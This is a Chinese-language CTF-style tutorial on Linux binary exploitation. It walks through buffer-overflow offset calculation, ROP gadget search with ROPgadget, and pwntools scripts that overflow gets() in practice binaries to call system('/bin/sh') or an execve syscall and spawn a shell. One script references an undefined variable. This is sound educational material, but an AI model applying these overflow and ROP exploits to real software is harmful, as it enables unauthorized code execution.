Linux PWN从入门到熟练

最近在复习pwn的一些知识。主要涉及到当堆栈开启了保护的时候，我们不能够直接将shellcode覆盖到堆栈中执行，而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode。此小片段就是gadgets。本文主要通过练习题的方式讲述如何寻找gadgets，如何利用现有的 工具 来加速自己的pwn的效率。Gadgets的类型和难度也逐步变化。下面带来手把手教你linux pwn。让你的pwn技术从入门到熟练。练习题的难度逐步加大。

第一关

第一关的gadgets较为简单，包含了一个直接可以利用的，可返回 shell 的函数。我们只要计算好覆盖的偏移，将可返回shell函数的地址覆盖到相应的位置即可以。程序下载： Pwn1

我们首先来查看一下该程序的保护情况，发现开启了堆栈保护。即NX enabled。且是32bit的程序。因此需要在32位的 linux 环境下测试。

这里涉及到一个工具， chechsec 。该工具专门用来检测程序中受保护的情况，我们可以根据程序受保护的情况来选择对应的pwn策略。

下载以后，直接在命令行中建立符号链接就可以在terminal中直接使用了

sudo ln –sf checksec /usr/bin/checksec

接下来我们利用IDA查看一下程序的源代码：

可以发现漏洞出现在gets里面，gets函数存在缓冲区溢出漏洞，我们可以通过超长的字符串来覆盖缓冲区，从而修改ROP。为了达到这个目的，我们需要首先计算，输入的&s的堆栈地址位置距离堆栈的底部ebp的位置。Ebp的下一个地址，就是记录了返回地址的位置。在32位的程序中，就是ebp+4。其中，Esp是栈顶指针，ebp是栈底指针。Esp -> ebp, 地址从小到大。小地址栈顶，大地址栈底。

我们有两种方法可以得到s距离返回地址的偏移：徒手计算和利用patternoffset产生字符串。

首先第一种方法，徒手计算。我们利用gdb的辅助工具gef来辅助查看esp地址。

注意，这里需要按照这个辅助工具， gef ，该工具会提供更加丰富的调试信息。包括堆栈信息，寄存器信息等。按照完毕之后，使用gdb –q *.elf执行就可以。

启动的程序之后，我们在上述get函数的位置下断点，即0x080486AE

可以看到 esp 为 0xbfffeed0，ebp为0xbfffef58，同时 s 相对于 esp 的索引为[esp+80h-64h]= [esp+0x1c]。所以s的地址为 0xbfffeeec，所以 s 相对于 ebp 的偏移为 0x6C（108），所以相对于返回地址的偏移为 0x6c+4（112）。

另外一种方法是利用patternoffset执行来计算。借助到这个工具 patternoffset 。下载下来直接作为 python 脚本使用。利用下面的命令产生字符串到test的文件中：

python patternLocOffset.py -c -l 700 -f test

接着远程IDA挂载调试，在程序的返回位置下断点，即retn的位置。

它会在远程的服务器端等待我的输入

~/ $ ./linux_server 
IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...
=========================================================
[1] Accepting connection from 192.168.110.1...
There is something amazing here, do you know anything?

在这个位置，我就把产生的pattern计算字符串复制进去。（注意，如果这里始终没有让程序停下来让你输入对应的字符串进去的话，就断开ubuntu的server，然后重新连接一下，就会停下来等待我们的字符串输入）

接着，查看程序覆盖的寄存器ebp的内容为0x41366441

再利用offset的脚本计算一下输入的缓冲区地址距离ESP相差多少的字节，相差的是108个字节。ESP之后，存储的就是返回的地址，所以要加上108+4=112字节的偏移。

得到的结果和上面是一致的。

接下来，我们需要找到可以利用的系统调用函数。在IDA中搜索（alt+T）可以利用来的系统sh调用函数：

最后，将需要覆盖的地址0x0804863A填入指定的位置覆盖，在利用pwntools来验证攻击。这里利用到了一个 pwntools 工具。推荐使用基于源代码的安装方式，可以更为方便。

安装方式为：

cd ~
git clone https://github.com/aquynh/capstone
cd capstone
make
make install
cd ~
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install

验证：

>>> import pwn
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
>>> pwn.asm("xor eax, eax")
'1xc0'

使用下面的脚本来验证攻击：

from pwn import *
pwn1 = process('./pwn1')
sh = 0x804863a
pwn1.sendline('A' * (112) + p32(target))
pwn1.interactive()

第二关

在这一关中，没有可以直接利用的system()函数让我们直接调用了。我们可以学习使用系统调用来进行操作。系统调用的背景知识在 这里 。

Pwn2

Syscall的函数调用规范为： execve(“/bin/sh”, 0,0);

它对应的汇编代码为：

pop eax,   # 系统调用号载入， execve为0xb
pop ebx,     # 第一个参数， /bin/sh的string
pop ecx,  # 第二个参数，0
pop edx, # 第三个参数，0
int 0x80,  # 执行系统调用

同样的，首先利用工具来查看程序保护情况：

查看程序的代码，发现同样是gets造成的函数溢出。

因此我们这里需要人为的构造了。这里需要用到一个工具，来查到能够控制eax,ebx,ecx,edx。就是 ROPgadget 。下载之后，直接安装

python setup.py install

就可以使用了。执行命令，来查找对一个的汇编指令：

ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"

其中—binary 表示目标二进制的路径，—only 表示只显示指定的汇编语句， grep可以展示想要的寄存器。

针对eax选择，0x080bb196 : pop eax ; ret

针对ebx和ecx选择，0x0806eb91 : pop ecx ; pop ebx ; ret

针对edx，选择，0x0806eb6a : pop edx ; ret

执行命令，筛选int 0x80的系统调用, 选择：0x08049421

ROPgadget --binary ret2syscall --only 'int'

执行命令，筛选字符串，得到：0x080be408

ROPgadget --binary ret2syscall --string '/bin/sh'

这里选择的每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行。在构造这些gadgets之前，我们通过下面的堆栈指针移动图，来分析一下eip指针的移动，以及对应获取的数据内容。ret指令可以理解成去栈顶的数据作为下次跳转的位置。即，

eip = [esp];

esp = esp+4;

或者简单理解成： pop eip;

上图中，左边显示的堆栈的内容，右边是对应的代码。数字表示的是，运行到特定的汇编指令的时候，esp指针的位置。总结下来，我们通过pop指令来移动esp指针获取数据，比如字符串/bin/sh，我们通过ret指令来同样移动esp指针来获取下一条执行的命令。这样，我们就能够在不需要与堆栈中执行程序的情况下，顺利的控制程序控制流的执行。

最终形成的shellcode利用pwntools的代码为：

#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91 
pop_edx_ret = 0x0806eb6a 
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80])
sh.sendline(payload)
sh.interactive()

第三关

这一关中，我们主要通过导入函数里面的system(“/bin/sh”)函数来完成调用。

Pwn3

发现它的保护也是类似的。该程序与之前类似，都是在gets函数存在漏洞。

首先查找system函数是否存在，利用IDA查看。

查看导入函数表，发现有system的外部调用函数在列表里面，

从而确定地址为0x08048460。

在利用下面的命令查找”/bin/sh”的字符串，确定了字符串的地址为0x08048720

ROPgadget --binary ret2libc1 --string "/bin/sh"

那么就可以依葫芦画瓢的构造shellcode了。

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

system_plt = 0x08048460
sh_addr = 0x8048720
payload = flat(['a' * 112, system_plt, 0xabcdabcd, sh_addr])
sh.sendline(payload)

sh.interactive()

这里解释一下，为什么会有4个字节空余的部分。

这里的部分，在正常调用system函数的时候，堆栈位置的system_plt之后的内容为system函数的返回地址，在之后才是新的堆栈的栈顶位置，因此在system_plt和sh_addr之间增加了4个字符来进行填充。

练习题： pwn4

下面留下一道题大家自己练习，该题目中，含有导入函数system()，但是没有了字符串/bin/sh，需要自己想办法获取这个字符串。